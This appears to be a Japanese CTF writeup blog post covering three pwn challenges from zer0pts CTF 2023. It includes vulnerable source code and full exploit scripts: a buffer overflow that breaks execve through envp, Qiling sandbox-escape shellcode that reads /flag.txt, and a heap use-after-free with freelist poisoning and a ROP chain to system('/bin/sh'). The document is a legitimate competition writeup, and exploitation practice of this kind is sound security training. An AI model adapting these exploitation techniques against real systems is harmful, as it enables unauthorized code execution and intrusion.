zer0pts CTF 2023 writeup

開催ありがとうございました。 TSGで参加して、14位だったらしい。pwnのaush, qjail, WISEを解いたのでそれのwriteupです。

aush (99pts 101solves)

ちょうど良いwarmupだった

  char *args[3];
  char inpuser[LEN_USER+1] = { 0 };
  char inppass[LEN_PASS+1] = { 0 };
  char username[LEN_USER] = { 0 };
  char password[LEN_PASS] = { 0 };


   /* 略 */

  write(STDOUT_FILENO, "Username: ", 10);
  if (read(STDIN_FILENO, inpuser, 0x200) <= 0)
    return 1;

  if (memcmp(username, inpuser, LEN_USER) != 0) {
    args[0] = "/usr/games/cowsay";
    args[1] = "Invalid username";
    args[2] = NULL;
    execve(args[0], args, envp);
  }

となっており、オーバーフローが自明にできる。inpuserをオーバーフローしてusernameからpasswordまで書き換えれば終わりかと思ったが、どうやらusernameの方がバッファとしてstackの上に取られる模様。つまりusernameが当てられないと即execveされてしまう。

これを回避するためにenvpをinvalidなpointerにすることで、syscallを失敗させる。実際バッファオーバーフローは十分大きいので、環境変数を破壊することができる。

payload_1 = b"A" * 0x198 + b"\xff\xff"
payload_2 = b"A" * (0x198 - 0x20 - 0x20) + b"\x00\x00"

rs(payload_1, new_line=False)
wait_for_attach()
rs(payload_2, new_line=False)
interactive()

github.com

qjail (146pts 42solves)

Qilingというbinary instrumentationツールを用いたsandbox

以下のようなsandbox

#!/usr/bin/env python3
import qiling
import sys

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <ELF>")
        sys.exit(1)

    cmd = ['./lib/ld-2.31.so', '--library-path', '/lib', sys.argv[1]]
    ql = qiling.Qiling(cmd, console=False, rootfs='.')
    ql.run()

を使って次の自明なBoFがあるプログラムを動かす

#include <stdio.h>

int main() {
  char name[0x100];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  puts("Enter something");
  scanf("%s", name);
  return 0;
}

ただしchecksecが

ubuntu@ip-172-31-24-131:~/zer0pts_23/qjail/bin$ checksec --file=vuln
[*] '/home/ubuntu/zer0pts_23/qjail/bin/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

なので、かなり不可能そうな見た目。 ただQilingについて調べると(こういうエミュレーターソフトウェアあるあるだが)

  • canaryは0xaaaaaaaaaaaaaa00固定
  • ASLRなし
  • stackが実行可能

ということがわかったので、stackにshellcode流して、retアドレス書き換えによるRIP制御で飛ばせば良いことがわかる。 最後の問題は、 qiling.Qiling(cmd, console=False, rootfs='.') と実行されており、rootfsが.にあるので、 /flag.txt が読めない点だが、 これは *1 openatをしつつ絶対パスを渡すことで回避できるバグが今でも存在するので、それをすればよい。

main = 0x7fffb7dd71a9
canary = b"\x00aaaaaaa"
canary_addr = 0x80000000dd48
flagbuf = 0x80000000dc40
databuf = 0x80000000db40

payload = b"/flag.txt" + b"\x00" * 7
payload_addr = flagbuf + len(payload)
print(hex(payload_addr))

asm_payload = f"""
mov rdi, 1
mov rsi, {flagbuf}
mov rdx, 0
mov rax, 257
syscall
mov rdi, rax
mov rsi, {databuf}
mov rdx, 100
xor rax, rax
syscall
mov rdi, 1
mov rsi, {databuf}
mov rdx, 100
mov rax, 1
syscall
"""
asm_payload_bin = asm(asm_payload)
print("len: ", hex(len(asm_payload_bin)))
assert(len(asm_payload_bin) < 0x80)

payload += asm_payload_bin
payload += b"A" * (0x108 - len(payload))
payload += canary
payload += p64(payload_addr)
payload += p64(payload_addr)

recvuntil(b"Enter something")
sendline(payload)
#with open("../qjail_solver/payload", "wb") as f:
interactive()

github.com

WISE (304pts 8solves)

Crystalで書かれた簡単なnoteアプリのpwn。 ソースコードは以下に示すように短くバグも明らかで、iterator invalidationチックな、listサイズのreallocationに付随して起こるUAFが存在する。ただ、Crystalとかいう謎言語のpwnなので、ここからが難しい。 *2

suspect = nil
id_list = [] of UInt64
name_list = [] of String

puts "1. Add new citizen",
     "2. Update personal information",
     "3. Print list of citizen",
     "4. Mark as spy",
     "5. Give memorable ID to spy",
     "6. Print information of spy"

loop do
  print "> "
  STDOUT.flush
  case gets.not_nil!.chomp.to_i
  when 1
    id = Random.rand(UInt64)
    print "Name of person: "
    STDOUT.flush
    name = gets.not_nil!.chomp

    id_list.push(id)
    name_list.push(name)
    puts "ID: #{id}"

  when 2
    print "ID: "
    STDOUT.flush
    index = id_list.index gets.not_nil!.chomp.to_u64
    if index.nil?
      puts "[-] Invalid ID"
    else
      print "New name: "
      STDOUT.flush
      name_list[index] = gets.not_nil!.chomp
    end

  when 3
    id_list.zip(name_list) { | id, name |
      puts "----------------",
           "ID: #{id}",
           "Name: #{name}"
    }

  when 4
    print "ID of suspect: "
    STDOUT.flush
    index = id_list.index gets.not_nil!.chomp.to_u64
    if index.nil?
      puts "[-] Invalid ID"
    else
      puts "[+] Marked '#{name_list[index]}' as possible spy"
      suspect = id_list.to_unsafe + index
    end

  when 5
    if suspect.nil?
      puts "[-] No spy marked"
    else
      print "New ID: "
      STDOUT.flush
      suspect.value = gets.not_nil!.chomp.to_u64
    end

  when 6
    if suspect.nil?
      puts "[-] No spy marked"
    else
      puts "ID: #{suspect.value}"
      index = id_list.index suspect.value
      if index.nil?
        puts "Name: <unknown>"
      else
        puts "Name: #{name_list[index]}"
      end
    end

  else
    break
  end
end

メニューの各機能の概要は次の通り

  1. 任意長の名前で人を登録。64bit のIDが付与される
  2. IDを指定して名前を更新
  3. 登録されている人のリストを表示
  4. IDを指定して、suspectな人のint_listのエントリへのpointerを得る
  5. suspectなpointerに値を代入
  6. suspectなpointerから値を読む

試行錯誤 + libgcソースコードリーディングの結果、特に細かなチェックは存在しないので、雑にfreelistにつないだバッファをUAFをしてpoisoningするだけとわかる。そのためのおおまかな工程は以下の通り

  1. 十分大きなサイズのid_listを作る
  2. id_listの0番目をsuspect
  3. id_listのサイズを増やして、元のid_listをfree -> id_listがfree listへつながる
  4. suspectへのwriteを使ってfree listのfdをid_list自身を含む場所に書き換える(これを後ほどmallocする)
  5. 3でfreeしたid_listと同じサイズの名前で人を2回addし、id_listを上書き。id_list bufを自分自身にする
  6. メニューの3と5と6を利用してAAR (program base / libc_base / stack addressのリーク)
  7. 最後に4と5でポインタを移動させてROPを組む

ただ、随所でCrystalの気持ちを読む必要があり、それは気合 *3

def add(name):
  menu(1)
  rs(name)
  recvuntil(b"ID: ")
  return int(recvline())

def update(id, name):
  menu(2)
  rs(str(id).encode("ascii"))
  rs(name)

def get_info():
    recvuntil(b"ID: ")
    id = int(recvline())
    recvuntil(b"Name: ")
    name = recvline()
    return (id, name)

def print_list(do_print=False):
    menu(3)
    citizens = []
    while True:
      if recv(1).startswith(b">"):
          break
      (id, name) = get_info()
      if do_print:
          print(f"{id}: {name}")
      citizens.append((id, name))
    sendline(b"3")
    return citizens

def mark(id):
  menu(4)
  rs(str(id).encode("ascii"))
  #recvuntil(b"[+] Marked '")
  #name = recvuntil(b"'")
  #return name

def give_id(id):
  menu(5)
  rs(str(id).encode("ascii"))

def print_spy():
    menu(6)
    return get_info()

"""
a_id = add("A")
b_id = add("B")
update(b_id, "BB")
print_list()
c_id = add("C")
s = mark(c_id)
print(s)
assert(mark(c_id) == b"C")
give_id(123)
assert(print_spy()[0] == 123)
"""

a_id = add("A")
print(f"a_id: {hex(a_id)}")
mark(a_id)
for i in range(3):
    add("A")

heap_base = print_spy()[0]
print(f"heap_addr: {hex(heap_base)}")
#array_buf_addr = heap_base + 0x1a00
#string_array_addr =
#string_array = heap_base - 0x4100
#print(f"array_buf_addr: {hex(array_buf_addr)}")
#print(f"string_array: {hex(string_array)}")
int_array = heap_base - 0x30e0
string_array = int_array - 0x20
print(f"int_array: {hex(int_array)}")

for i in range(39):
    add("A")
mark(a_id)
print(print_spy())
for i in range(5):
    add("A")
add("A")
wait_for_attach()
add("A")
print(print_spy())

wait_for_attach()

target = int_array + 32 - 0x1b0 + 0x10
print(f"target: {hex(target)}")
# print(target)
# interactive()
give_id(target)
add("A" * 0x1b0)
wait_for_attach()
victim = heap_base + 0x13f20

def to_h(x):
    return x - 0x7f7e4eb5ef80 + heap_base
'''
0x7f7e4eb5be40:   0x000000000000008b  0x0000000400000001
0x7f7e4eb5be50:   0x00007f7e4eb60ed0  0x0000000000000000
0x7f7e4eb5be60:   0x000000000000008b  0x0000000400000001
0x7f7e4eb5be70:   0x00007f7e4eb60f00  0x0000000000000000
0x7f7e4eb5be80:   0x0000003100000004  0x0000000000000060
0x7f7e4eb5be90:   0x00007f7e4eb79c80  0x0000000000000000
0x7f7e4eb5bea0:   0x000000310000001a  0x0000000000000060
0x7f7e4eb5beb0:   0x00007f7e4eb78c80  0x0000000000000000
'''
payload = [
  0x000000000000008b, 0x0000000400000001,
  to_h(0x00007f7e4eb60ed0), 0,
  0x000000030000008b, 0x0000000400000000,
  to_h(0x00007f7e4eb60f00), 0x0000000000000000,
  0x0000000400000004, 0x0000000000000060,
  to_h(0x00007f7e4eb79c80), 0x0000000000000000,
  0x000000040000001a, 0x0000000000000060,
  to_h(0x00007f7e4eb78c80), 0x0000000000000000,
  0x000000000000008b, 0x0000000000000000
]
payload[-4] = int_array
payload = b''.join(map(p64, payload))
payload = b"\x00" * (0x1b0 - len(payload) - 12) + payload
add(payload)

mark(int_array)
prog_addr = heap_base - 0x15c0
give_id(prog_addr)
#interactive()

update(0, "hoge")
l = print_list(do_print=False)
prog_base = l[0][0] - 0x103e10
print(f"prog_base: {hex(prog_base)}")

printf_got = prog_base + 0x129c10
give_id(printf_got)
l = print_list(do_print=False)
if is_gaibu:
  # <__printf>
  libc_base = l[0][0] - 0x60770
  environ = libc_base + 0x221200
  binsh = libc_base + 0x1d8698
  system = libc_base + 0x50d60
else:
  # <__printf>
  libc_base = l[0][0] - 0x60770
  environ = libc_base + 0x221200
  binsh = libc_base + 0x1d8698
  system = libc_base + 0x50d60

pop_rdi_ret = prog_base + 0x5dbc4
ret = pop_rdi_ret + 1

print(f"libc_base: {hex(libc_base)}")

give_id(environ)
l = print_list(do_print=False)
stack_addr = l[0][0]
print(f"stack_addr: {hex(stack_addr)}")

ret_addr = stack_addr - 0x190
current_val = prog_base + 0xea1a9
give_id(ret_addr)
mark(current_val)
give_id(pop_rdi_ret)
mark(0)
give_id(binsh)
mark(0)
give_id(ret)
mark(0)
give_id(system)

print(f"stack: {hex(ret_addr)}")
print(f"current_val: {hex(current_val)}")


interactive()

github.com

感想

DEF CONを除くと(?)、今年始めてのまともに参加したCTFかもしれない(ある程度は追ってはいたが、フルには参加していなかった)。CTFを久々にやると、定数倍解くのが遅くなるといった感じがあり、flippersあたりまで本当は手が出せるとよかったなあという感じ。

BrainJITやmimikyuにも微妙にちゃちゃを出したもののそれらと上で解いた問題以外はほとんど知らないが、基本的に問題に必要な最小限の実装と、ソースコードの提供があり、ストレスの無いCTFで体験が本当に良かった(まあこれはzer0pts CTFとしては、いつものことでもある(?)が)。運営お疲れ様でした。

*1:smallkirbyが Qiling Sandbox Escape | Kalmarunionen というwriteupを引っ張ってきてくれた

*2:弊チームには、AtCoder LibraryのCrystal版 を書くほどのCrystal使いであるところの 博多市 がいるので、当然Crystalのheap allocatorの動作にも詳しいはずと思って聞いたが教えてくれなかった。

*3:id_list上書きのとき付随して上書きされてしまうstringに関するメタデータ(String型の値は HEADER + bufferみたいな形をしている)が結構厄介で、なんか知らんけど適当に上書きすると色々動かず、また使われていそうな場所をexactに書き換えても動かず試行錯誤した結果 https://gist.github.com/moratorium08/29014b181fc3cab7181f7e361bc74fb4#file-wise-py-L239 にあるようになぜか1な場所を0にすると動いたりした。また小さいバッファはto_u64はgetsなどで結構使われているので、大きめのid_listをUAFに使わないといけない